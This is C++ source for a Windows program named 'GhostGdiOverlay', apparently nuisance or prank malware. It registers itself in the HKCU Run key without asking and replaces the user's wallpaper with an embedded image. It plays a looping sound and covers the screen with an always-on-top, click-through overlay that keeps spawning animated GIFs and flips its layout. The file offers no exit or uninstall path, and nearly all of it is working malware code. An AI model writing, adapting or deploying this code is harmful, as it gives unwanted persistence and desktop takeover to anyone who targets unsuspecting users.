Загрузка данных
#pragma comment(lib, "gdiplus.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "msimg32.lib")
#include <windows.h>
#include <gdiplus.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <mmsystem.h>
#include <vector>
#include <cstdlib>
#include <ctime>
#include <cmath>
#include <algorithm>
using namespace Gdiplus;
// ============================================================================
// Описание интерфейса IActiveDesktop для смены обоев
// ============================================================================
#ifndef INTERFACE
#define INTERFACE IActiveDesktop
#endif
#define AD_APPLY_SAVE 0x00000001
#define AD_APPLY_HTMLGEN 0x00000002
#define AD_APPLY_REFRESH 0x00000004
#define AD_APPLY_ALL (AD_APPLY_SAVE | AD_APPLY_HTMLGEN | AD_APPLY_REFRESH)
struct WALLPAPEROPT {
DWORD dwSize;
DWORD dwStyle;
};
const CLSID CLSID_ActiveDesktop = { 0x75048700, 0xEF1F, 0x11D0, { 0x98, 0x88, 0x00, 0x60, 0x97, 0xDE, 0xAC, 0xF9 } };
const IID IID_IActiveDesktop = { 0xF490EB00, 0x1240, 0x11D1, { 0x98, 0x88, 0x00, 0x60, 0x97, 0xDE, 0xAC, 0xF9 } };
DECLARE_INTERFACE_(IActiveDesktop, IUnknown)
{
STDMETHOD(QueryInterface)(THIS_ REFIID riid, void** ppvObj) PURE;
STDMETHOD_(ULONG, AddRef)(THIS) PURE;
STDMETHOD_(ULONG, Release)(THIS) PURE;
STDMETHOD(ApplyChanges)(THIS_ DWORD dwFlags) PURE;
STDMETHOD(GetWallpaper)(THIS_ PWSTR pwszWallpaper, UINT cchWallpaper, DWORD dwFlags) PURE;
STDMETHOD(SetWallpaper)(THIS_ PCWSTR pwszWallpaper, DWORD dwReserved) PURE;
STDMETHOD(GetWallpaperOptions)(THIS_ WALLPAPEROPT * pwpo, DWORD dwReserved) PURE;
STDMETHOD(SetWallpaperOptions)(THIS_ WALLPAPEROPT * pwpo, DWORD dwReserved) PURE;
};
// ============================================================================
struct DynamicGif {
int x;
int y;
size_t typeIndex;
UINT currentFrame;
UINT frameCount;
};
std::vector<DynamicGif> g_ActiveGifs;
const WORD g_GifResourceIDs[3] = { 101, 103, 104 };
int g_TargetWidth[3] = { 0, 0, 0 };
int g_TargetHeight[3] = { 0, 0, 0 };
UINT g_FrameCounts[3] = { 0, 0, 0 };
std::vector<Bitmap*> g_GifFramesCache[3];
int g_ScreenWidth = 0;
int g_ScreenHeight = 0;
HDC g_hdcVignette = nullptr;
HBITMAP g_hbmVignette = nullptr;
void* g_pVignetteBits = nullptr;
bool g_DrawMirrored = false;
const UINT_PTR TIMER_ANIMATION = 1;
const UINT_PTR TIMER_SPAWN = 2;
const UINT_PTR TIMER_TOPMOST = 3;
const UINT_PTR TIMER_TOGGLE_MIRROR = 4;
void SetupRegistryAutostart() {
wchar_t szPath[MAX_PATH];
if (GetModuleFileNameW(NULL, szPath, MAX_PATH)) {
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegSetValueExW(hKey, L"GhostGdiOverlay", 0, REG_SZ, (BYTE*)szPath, (lstrlenW(szPath) + 1) * sizeof(wchar_t));
RegCloseKey(hKey);
}
}
}
void ChangeWallpaper() {
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
wchar_t szPath[MAX_PATH];
if (SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, szPath) == S_OK) {
PathAppendW(szPath, L"bg_wallpaper.png");
}
else {
GetModuleFileNameW(NULL, szPath, MAX_PATH);
PathRemoveFileSpecW(szPath);
PathAppendW(szPath, L"bg_wallpaper.png");
}
HMODULE hInst = GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInst, MAKEINTRESOURCE(105), RT_RCDATA);
if (hResInfo) {
DWORD resSize = SizeofResource(hInst, hResInfo);
HGLOBAL hResData = LoadResource(hInst, hResInfo);
if (hResData) {
void* pResView = LockResource(hResData);
if (pResView) {
HANDLE hFile = CreateFileW(szPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(hFile, pResView, resSize, &written, NULL);
CloseHandle(hFile);
}
}
}
}
if (PathFileExistsW(szPath)) {
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Control Panel\\Desktop", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegSetValueExW(hKey, L"Wallpaper", 0, REG_SZ, (BYTE*)szPath, (lstrlenW(szPath) + 1) * sizeof(wchar_t));
RegCloseKey(hKey);
}
IActiveDesktop* pActiveDesktop = nullptr;
if (SUCCEEDED(CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER, IID_IActiveDesktop, (void**)&pActiveDesktop))) {
pActiveDesktop->SetWallpaper(szPath, 0);
pActiveDesktop->ApplyChanges(AD_APPLY_ALL);
pActiveDesktop->Release();
}
SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void*)szPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
CoUninitialize();
}
bool LoadAndCacheGif(HMODULE hMod, WORD resID, size_t index) {
HRSRC hResInfo = FindResource(hMod, MAKEINTRESOURCE(resID), RT_RCDATA);
if (!hResInfo) return false;
DWORD resSize = SizeofResource(hMod, hResInfo);
HGLOBAL hResData = LoadResource(hMod, hResInfo);
if (!hResData) return false;
void* pResView = LockResource(hResData);
if (!pResView) return false;
HGLOBAL hBuffer = GlobalAlloc(GMEM_MOVEABLE, resSize);
if (!hBuffer) return false;
void* pBuffer = GlobalLock(hBuffer);
if (pBuffer) { CopyMemory(pBuffer, pResView, resSize); GlobalUnlock(hBuffer); }
IStream* pStream = nullptr;
if (CreateStreamOnHGlobal(hBuffer, TRUE, &pStream) != S_OK) { GlobalFree(hBuffer); return false; }
Image* pImg = Image::FromStream(pStream);
if (!pImg || pImg->GetLastStatus() != Status::Ok) {
if (pImg) delete pImg;
pStream->Release();
return false;
}
if (index == 2) {
g_TargetWidth[index] = pImg->GetWidth();
g_TargetHeight[index] = pImg->GetHeight();
}
else {
g_TargetWidth[index] = pImg->GetWidth() / 2;
g_TargetHeight[index] = pImg->GetHeight() / 2;
}
UINT dimensionCount = pImg->GetFrameDimensionsCount();
std::vector<GUID> pDimensionIDs(dimensionCount);
pImg->GetFrameDimensionsList(pDimensionIDs.data(), dimensionCount);
UINT frameCount = pImg->GetFrameCount(&pDimensionIDs[0]);
g_FrameCounts[index] = frameCount;
GUID pageGuid = FrameDimensionTime;
for (UINT f = 0; f < frameCount; ++f) {
pImg->SelectActiveFrame(&pageGuid, f);
Bitmap* cachedFrame = new Bitmap(g_TargetWidth[index], g_TargetHeight[index], PixelFormat32bppARGB);
Graphics g(cachedFrame);
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.DrawImage(pImg, 0, 0, g_TargetWidth[index], g_TargetHeight[index]);
g_GifFramesCache[index].push_back(cachedFrame);
}
delete pImg;
pStream->Release();
return true;
}
void InitVignetteBuffer() {
HDC hdcScreen = GetDC(NULL);
g_hdcVignette = CreateCompatibleDC(hdcScreen);
BITMAPINFO bmi = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmi.bmiHeader.biWidth = g_ScreenWidth;
bmi.bmiHeader.biHeight = -g_ScreenHeight;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = BI_RGB;
g_hbmVignette = CreateDIBSection(g_hdcVignette, &bmi, DIB_RGB_COLORS, &g_pVignetteBits, NULL, 0);
SelectObject(g_hdcVignette, g_hbmVignette);
DWORD* dst = reinterpret_cast<DWORD*>(g_pVignetteBits);
float cx = g_ScreenWidth / 2.0f;
float cy = g_ScreenHeight / 2.0f;
for (int y = 0; y < g_ScreenHeight; ++y) {
for (int x = 0; x < g_ScreenWidth; ++x) {
float nx = (x - cx) / cx;
float ny = (y - cy) / cy;
float vDist = (nx * nx) + (ny * ny);
float vFactor = vDist * 0.70f;
if (vFactor > 1.0f) vFactor = 1.0f;
BYTE alpha = static_cast<BYTE>(vFactor * 160);
dst[y * g_ScreenWidth + x] = (alpha << 24);
}
}
ReleaseDC(NULL, hdcScreen);
}
void UpdateOverlayWindow(HWND hWnd) {
HDC hdcScreen = GetDC(NULL);
HDC hdcMem = CreateCompatibleDC(hdcScreen);
BITMAPINFO bmi = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmi.bmiHeader.biWidth = g_ScreenWidth;
bmi.bmiHeader.biHeight = -g_ScreenHeight;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = BI_RGB;
void* pBits = nullptr;
HBITMAP hbmMem = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
HBITMAP hOldBm = (HBITMAP)SelectObject(hdcMem, hbmMem);
memset(pBits, 0, g_ScreenWidth * g_ScreenHeight * 4);
Graphics graphics(hdcMem);
graphics.SetCompositingMode(CompositingModeSourceOver);
graphics.SetInterpolationMode(InterpolationModeLowQuality);
for (const auto& gif : g_ActiveGifs) {
if (gif.currentFrame < g_GifFramesCache[gif.typeIndex].size()) {
Bitmap* frame = g_GifFramesCache[gif.typeIndex][gif.currentFrame];
graphics.DrawImage(frame, gif.x, gif.y, g_TargetWidth[gif.typeIndex], g_TargetHeight[gif.typeIndex]);
}
}
BLENDFUNCTION blendVignette = { AC_SRC_OVER, 0, 255, AC_SRC_ALPHA };
AlphaBlend(hdcMem, 0, 0, g_ScreenWidth, g_ScreenHeight, g_hdcVignette, 0, 0, g_ScreenWidth, g_ScreenHeight, blendVignette);
POINT ptSrc = { 0, 0 }; POINT ptDst = { 0, 0 }; SIZE sizeSpl = { g_ScreenWidth, g_ScreenHeight };
BLENDFUNCTION blendWindow = { AC_SRC_OVER, 0, 255, AC_SRC_ALPHA };
UpdateLayeredWindow(hWnd, hdcScreen, &ptDst, &sizeSpl, hdcMem, &ptSrc, 0, &blendWindow, ULW_ALPHA);
SelectObject(hdcMem, hOldBm); DeleteObject(hbmMem); DeleteDC(hdcMem); ReleaseDC(NULL, hdcScreen);
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
switch (message) {
case WM_CREATE: {
SetTimer(hWnd, TIMER_ANIMATION, 16, NULL);
SetTimer(hWnd, TIMER_SPAWN, 350, NULL);
SetTimer(hWnd, TIMER_TOPMOST, 10, NULL);
SetTimer(hWnd, TIMER_TOGGLE_MIRROR, 700, NULL);
return 0;
}
case WM_TIMER: {
if (wParam == TIMER_ANIMATION) {
for (auto& gif : g_ActiveGifs) {
gif.currentFrame++;
if (gif.currentFrame >= gif.frameCount) {
gif.currentFrame = 0;
}
}
UpdateOverlayWindow(hWnd);
}
else if (wParam == TIMER_SPAWN) {
DynamicGif newGif;
newGif.typeIndex = rand() % 3;
newGif.x = rand() % max(1, (g_ScreenWidth - g_TargetWidth[newGif.typeIndex]));
newGif.y = rand() % max(1, (g_ScreenHeight - g_TargetHeight[newGif.typeIndex]));
newGif.currentFrame = 0;
newGif.frameCount = g_FrameCounts[newGif.typeIndex];
g_ActiveGifs.push_back(newGif);
}
else if (wParam == TIMER_TOPMOST) {
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, g_ScreenWidth, g_ScreenHeight, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE);
}
else if (wParam == TIMER_TOGGLE_MIRROR) {
g_DrawMirrored = !g_DrawMirrored;
LONG_PTR exStyle = GetWindowLongPtr(hWnd, GWL_EXSTYLE);
if (g_DrawMirrored) {
SetWindowLongPtr(hWnd, GWL_EXSTYLE, exStyle | WS_EX_LAYOUTRTL);
}
else {
SetWindowLongPtr(hWnd, GWL_EXSTYLE, exStyle & ~WS_EX_LAYOUTRTL);
}
SetWindowPos(hWnd, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED | SWP_NOACTIVATE);
}
return 0;
}
case WM_DESTROY: {
KillTimer(hWnd, TIMER_ANIMATION); KillTimer(hWnd, TIMER_SPAWN); KillTimer(hWnd, TIMER_TOPMOST); KillTimer(hWnd, TIMER_TOGGLE_MIRROR);
PostQuitMessage(0); return 0;
}
default: return DefWindowProc(hWnd, message, wParam, lParam);
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
srand(static_cast<unsigned int>(time(NULL)));
SetupRegistryAutostart();
GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
ChangeWallpaper();
g_ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
g_ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
bool loadedAtLeastOne = false;
for (size_t i = 0; i < 3; ++i) {
if (LoadAndCacheGif(hInstance, g_GifResourceIDs[i], i)) {
loadedAtLeastOne = true;
}
}
if (!loadedAtLeastOne) { GdiplusShutdown(gdiplusToken); return 1; }
InitVignetteBuffer();
PlaySoundW(MAKEINTRESOURCEW(102), hInstance, SND_RESOURCE | SND_ASYNC | SND_LOOP);
const wchar_t CLASS_NAME[] = L"GhostGdiOverlayClass";
WNDCLASS wc = { }; wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = CLASS_NAME;
RegisterClass(&wc);
HWND hWnd = CreateWindowEx(
WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT | WS_EX_TOOLWINDOW,
CLASS_NAME, L"", WS_POPUP,
0, 0, g_ScreenWidth, g_ScreenHeight, NULL, NULL, hInstance, NULL
);
if (hWnd == NULL) {
PlaySoundW(NULL, NULL, 0);
if (g_hbmVignette) DeleteObject(g_hbmVignette); if (g_hdcVignette) DeleteDC(g_hdcVignette);
for (size_t i = 0; i < 3; ++i) {
for (auto frame : g_GifFramesCache[i]) delete frame;
}
GdiplusShutdown(gdiplusToken); return 0;
}
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, g_ScreenWidth, g_ScreenHeight, SWP_SHOWWINDOW);
MSG msg = { };
while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }
PlaySoundW(NULL, NULL, 0);
if (g_hbmVignette) DeleteObject(g_hbmVignette); if (g_hdcVignette) DeleteDC(g_hdcVignette);
for (size_t i = 0; i < 3; ++i) {
for (auto frame : g_GifFramesCache[i]) delete frame;
}
GdiplusShutdown(gdiplusToken); return 0;
}